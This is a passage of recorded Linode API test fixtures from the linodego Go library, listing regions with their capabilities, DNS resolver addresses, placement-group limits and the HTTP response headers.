172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 09 Jul 2024 14:03:54 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestRegions_blockStorageEncryption.yaml000066400000000000000000000570001474652371000344130ustar00rootroot00000000000000golang-github-linode-linodego-1.47.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 